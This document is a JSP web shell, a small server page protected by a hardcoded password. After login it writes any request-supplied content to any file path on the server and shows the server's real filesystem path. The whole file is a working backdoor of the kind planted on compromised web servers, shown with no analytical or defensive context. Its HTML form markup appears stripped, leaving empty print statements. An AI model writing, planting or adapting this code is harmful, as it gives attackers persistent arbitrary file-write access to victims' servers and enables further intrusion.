<%@page contentType="text/html; charset=GBK" import="java.io.*;"%> <%!private String password="hehe";//??????%> hahahaha <% String act=""; String path=request.getParameter("path"); String content=request.getParameter("content"); String url=request.getRequestURI(); String url2=request.getRealPath(request.getServletPath()); try {act=request.getParameter("act").toString();} catch(Exception e){} if(request.getSession().getAttribute("hehe")!=null) { if(request.getSession().getAttribute("hehe").toString().equals("hehe")) { if (path!=null && !path.equals("") && content!=null && !content.equals("")) { try{ File newfile=new File(path); PrintWriter writer=new PrintWriter(newfile); writer.println(content); writer.close(); if (newfile.exists() && newfile.length()>0) { out.println("save ok!"); }else{ out.println("save erry!"); } }catch(Exception e) { e.printStackTrace(); } } out.println("
"); out.println("

"); out.println(""+url2+"
"); out.println("
"); out.println(""); out.println("
"); } }else{ out.println("
"); out.println(""); out.println(""); out.println("
"); }if(act.equals("login")) { String pass=request.getParameter("pass"); if(pass.equals(password)) { session.setAttribute("hehe","hehe"); String uri=request.getRequestURI(); uri=uri.substring(uri.lastIndexOf("/")+1); response.sendRedirect(uri); }else { out.println("Error"); out.println("go back
"); } } %>